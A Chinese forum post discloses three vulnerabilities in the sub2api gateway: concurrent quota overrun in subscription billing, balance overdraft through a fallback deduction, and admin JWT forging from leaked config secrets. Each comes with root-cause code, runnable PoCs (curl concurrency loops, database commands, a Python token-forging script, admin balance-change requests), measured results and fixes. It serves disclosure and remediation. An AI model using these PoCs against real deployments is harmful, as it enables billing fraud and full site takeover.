- 楼主
如下
漏洞 D1:订阅模式并发超额消费(配额穿透)
风险等级:高危 位置:订阅计费链路(准入校验 + 用量累加) 类型:业务逻辑 / 竞争条件描述
sub2api 的订阅(subscription)分组会按日 / 周 / 月下发用量配额。配额判定发生在请求准入阶段,但实际费用是在上游响应返回后的异步计费任务里累加的。准入判定只比较 "历史已用量" 与限额,不包含本次请求的预估成本,且用量累加语句没有任何上限守卫。因此在同一时间窗内并发发起多个请求时,每个请求都会看到同一份 "尚未超限" 的旧用量快照并全部放行,最终用量可成倍突破配额。叠加因素:订阅模式完全没有在途余额 / 配额预留——handler/gateway_inflight_reservation.go:77 对订阅分组直接返回 inflightNoop,而余额模式至少还有 Redis 在途预留兜底。
根因
// handler/gateway_inflight_reservation.go:77 —— 订阅模式放弃在途预留
if apiKey.Group != nil && apiKey.Group.IsSubscriptionType() && subscription != nil {
return ctx, inflightNoop, nil
}
// service/subscription_service.go:1037 —— 只比 "已用量",additionalCost 恒传 0
if !sub.CheckDailyLimit(group, 0) {
return needsMaintenance, ErrDailyLimitExceeded
}
-- repository/user_subscription_repo.go:471-484 —— 累加无上限守卫
UPDATE user_subscriptions us
SET daily_usage_usd = us.daily_usage_usd + $1,
weekly_usage_usd = us.weekly_usage_usd + $1,
monthly_usage_usd = us.monthly_usage_usd + $1,
updated_at = NOW()
WHERE us.id = $2 AND us.deleted_at IS NULL ...
复现前置
订阅型分组:groups.subscription_type='subscription',daily_limit_usd=0.1
目标用户有该分组的有效 user_subscriptions 行
该分组下有可用上游账号;用户 API Key 绑定该分组
清掉订阅缓存 billing:sub:<uid>:<gid>(否则旧快照会先把你 403 掉)
PoC
BASE=http://127.0.0.1:8080
SKEY="PH:SUB_KEY" # 绑定订阅分组的 key
uid=PH:USER_ID; gid=PH:GROUP_ID1) 清零用量并清缓存,避免旧快照干扰
docker exec sub2api-postgres psql -U sub2api -d sub2api -c
"UPDATE user_subscriptions SET daily_usage_usd=0,weekly_usage_usd=0,monthly_usage_usd=0 WHERE user_id=$uid;"
docker exec sub2api-redis redis-cli -a "PH:REDIS_PASSWORD" --no-auth-warning del "billing:sub:$uid:$gid"2) 并发 20 发(每发约 0.078 USD,日限额仅 0.1)
M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
for i in $(seq 1 20); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
-H "Authorization: Bearer $SKEY" -H 'Content-Type: application/json' -d "$M" &
done | sort | uniq -c
wait; sleep 73) 读结果
docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
"select daily_usage_usd from user_subscriptions where user_id=$uid"
实测结果(本实例)
20 200 ← 20 发全部放行,0 个被拦
日用量: 1.5600000000 / 限额 0.1 ← 超出 15.6 倍
订阅计费请求: 20 笔
串行对照(同一环境,逐发):第 1、2 发 200(此时已用量 0.078 ≤ 0.1),第 3 发起 429 DAILY_LIMIT_EXCEEDED。说明即使不并发也必然多放一份,并发只是把倍数放大到 N。影响
订阅用户可用一份配额消耗 N 份上游额度(N ≈ 并发数)。对按量采购上游的运营方,这是直接的现金流损失;对转售场景,等于订阅套餐失去定价意义。修复建议
订阅模式接入在途预留(按 max_tokens × 输出单价 估算,Redis 原子扣减);
或在 IncrementUsage 上加条件守卫:... WHERE daily_usage_usd + $1 <= <limit>,受影响行数为 0 即拒绝;
准入时把 additionalCost 传成预估成本,而不是 0。
漏洞 D2:余额模式并发透支(余额可被扣成负数)
风险等级:高危 位置:余额扣减 + 网关准入 类型:业务逻辑 / 竞争条件描述
余额扣减函数在 "余额足够" 分支失败后,会落到一个无条件扣减的兜底分支,直接把余额扣成负数。而网关准入只判断 balance <= 0,成本又在响应后才结算。两者叠加后,一个只剩" 一次请求的钱 "的账户并发发起 N 个请求,N 个请求都会通过准入并各自计费,最终余额远超应付额度。系统随后只会用 <= 0 拦住" 下一批 " 请求,已经发生的消费不可追回。根因
// repository/user_repo.go:883 —— 先条件扣,扣不动就无条件扣(透支策略)
n, err := client.User.Update().
Where(dbuser.IDEQ(id), dbuser.BalanceGTE(amount)).
AddBalance(-amount).Save(ctx)
if n > 0 {return nil}n, err = client.User.Update(). // ← 余额不足也照扣,余额变负
Where(dbuser.IDEQ(id)).
AddBalance(-amount).Save(ctx)
// server/middleware/api_key_auth.go:397 —— 只拦 "已经没钱"
func apiKeyBalanceBelowAuthThreshold(balance float64, _ *config.Config) bool {
return balance <= 0
}
复现前置
余额模式(标准)分组,用户 API Key 已绑定
该分组下有可用上游账号
已知单次请求成本(本文用 0.078 USD)
PoC
BASE=http://127.0.0.1:8080
KEY="PH:API_KEY"; uid=PH:USER_ID; COST=0.0781) 余额精确设为 "恰好够一次"
docker exec sub2api-postgres psql -U sub2api -d sub2api -c
"UPDATE users SET balance=$COST WHERE id=$uid;"2) 并发 10 发
M='{"model":"claude-sonnet-4-5","max_tokens":64,"messages":[{"role":"user","content":"hi"}]}'
for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST $BASE/v1/messages
-H "Authorization: Bearer $KEY" -H 'Content-Type: application/json' -d "$M" &
done | sort | uniq -c
wait; sleep 63) 读结果
docker exec sub2api-postgres psql -U sub2api -d sub2api -Atc
"select balance from users where id=$uid;
select count(*), sum(actual_cost) from usage_logs where user_id=$uid and created_at>now()-interval'2 minutes';"
实测结果(本实例)
10 200 ← 10 发全部放行
余额: 0.07800000 -> -0.70200000 ← 被扣成负数
新增计费: 10 笔 本轮费用: 0.78 USD ← 应付 0.078,实付 0.78
即:支付 1 份钱,消耗 11 份用量(含此前 1 次基准请求),透支倍数 ≈ 11×。影响
用户在余额见底前并发 "抢跑",一次性薅走 N 倍额度后弃号,损失不可回收;
负余额账户在下一次请求即被 403,但已消费部分无法追偿;
与 "自抹 key 限额"(quota=0 + reset_quota)组合,可把透支窗口拉得更长。
修复建议
兜底分支改为返回错误或写入 "欠款" 并把 users.status 置为 disabled;
准入阶段按预估成本做在途预留,并强制 fail_closed_on_unpriced=true(未定价模型不再 fail-open);
计费结算改为 WHERE balance >= cost 的条件更新,失败即拒单。
漏洞 P1:部署密钥明文暴露 → 伪造管理员 JWT → 任意篡改用户余额
风险等级:严重(可直接接管全站) 位置:部署配置 + JWT 签发 / 校验 类型:凭证泄露 → 认证绕过 → 越权描述
部署目录下的 .env 与 data/config.yaml 以明文同时保存了数据库口令、Redis 口令、JWT_SECRET 和 TOTP_ENCRYPTION_KEY。由于 JWT 使用 HS256 对称签名,拿到 JWT_SECRET 即可在离线状态下自行签发任意角色的访问令牌;而 token_version 是由 email + password_hash 派生的确定性值(数据库可读),会话绑定的 bnd 字段留空时校验直接放行。三条特性叠加,攻击者无需任何用户口令即可构造出管理员令牌,进而调用管理接口任意修改用户余额、读取全站数据、变更系统配置。根因
/www/wwwroot/sub2api/data/config.yaml(.env 同源)
database:
password: PH:POSTGRES_PASSWORD
redis:
password: PH:REDIS_PASSWORD
jwt:
secret: PH:JWT_SECRET
totp:
encryption_key: PH:TOTP_ENCRYPTION_KEY
// service/auth_service.go:1944-1947 —— token_version 可由 公开字段 + password_hash 推导
material := strings.ToLower(strings.TrimSpace(user.Email)) + "\n" + user.PasswordHash
sum := sha256.Sum256([]byte(material))
fingerprint := int64(binary.BigEndian.Uint64(sum[:8]) & 0x7fffffffffffffff)
return user.TokenVersion ^ fingerprint
// server/middleware/session_binding.go:71 —— bnd 为空即跳过会话绑定
if claims == nil || claims.BindingHash == "" {
return true
}
复现前置
能读取 config.yaml 或 .env(目录穿越、备份泄露、插件 / 模板读取、或其他文件读取面)
或直接拿到数据库口令(同一文件内,一次泄露即全拿)
PoCforge_jwt.py —— 离线签发管理员令牌
import base64, hmac, hashlib, json, struct, time
SECRET = "PH:JWT_SECRET" # config.yaml: jwt.secret
EMAIL = "PH:ADMIN_EMAIL" # users.email where role='admin'
PW_HASH = "PH:ADMIN_PASSWORD_HASH" # users.password_hash
UID, ROLE = PH:ADMIN_UID, "admin"b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=")
fp = struct.unpack(">q", hashlib.sha256((EMAIL.lower()+"\n"+PW_HASH).encode()).digest()[:8])[0] & 0x7fffffffffffffff
now = int(time.time())
claims = {"user_id": UID, "email": EMAIL, "role": ROLE, "token_version": fp,
"sid": "deadbeefcafe0001", # 任意
# 不写 bnd → 会话绑定校验直接放行
"exp": now+86400, "nbf": now, "iat": now}
h = b64(b'{"alg":"HS256","typ":"JWT"}')
p = b64(json.dumps(claims, separators=(",",":")).encode())
s = b64(hmac.new(SECRET.encode(), h+b"."+p, hashlib.sha256).digest())
print((h+b"."+p+b"."+s).decode())
TOKEN=$(python3 forge_jwt.py)验证管理员身份
curl -s -o /dev/null -w '%{http_code}\n'-H"Authorization: Bearer $TOKEN"
http://127.0.0.1:8080/api/v1/admin/settings # 200任意修改余额(set / add / subtract)
curl -s -X POST http://127.0.0.1:8080/api/v1/admin/users/PH:USER_ID/balance
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json'
-d '{"balance":888,"operation":"set"}' # 200或完全绕过应用层
PGPASSWORD=PH:POSTGRES_PASSWORD psql -h 127.0.0.1 -U sub2api -d sub2api
-c "UPDATE users SET balance=888 WHERE id=PH:USER_ID;"
实测结果(本实例)
GET /api/v1/admin/settings -> 200
GET /api/v1/admin/users/3/balance-history -> 200
POST /api/v1/admin/users/3/balance -> 200
数据库: [email protected] | 888.00000000
余额变更会触发 trg_users_auth_cache_invalidation,Redis 缓存同步失效,改完立即生效,无需重启。影响
全站任意用户余额可改(含管理员自身)、可提权、可读全站数据(用户、API Key、用量、支付订单、审计日志);
可修改系统设置:开启注册、改支付渠道商户号、改回调地址、植入自定义页面内容;
data/ 整体挂载进容器(./data:/app/data),一次读取即同时暴露配置与运行数据。收藏支持反对打赏
这漏洞真严重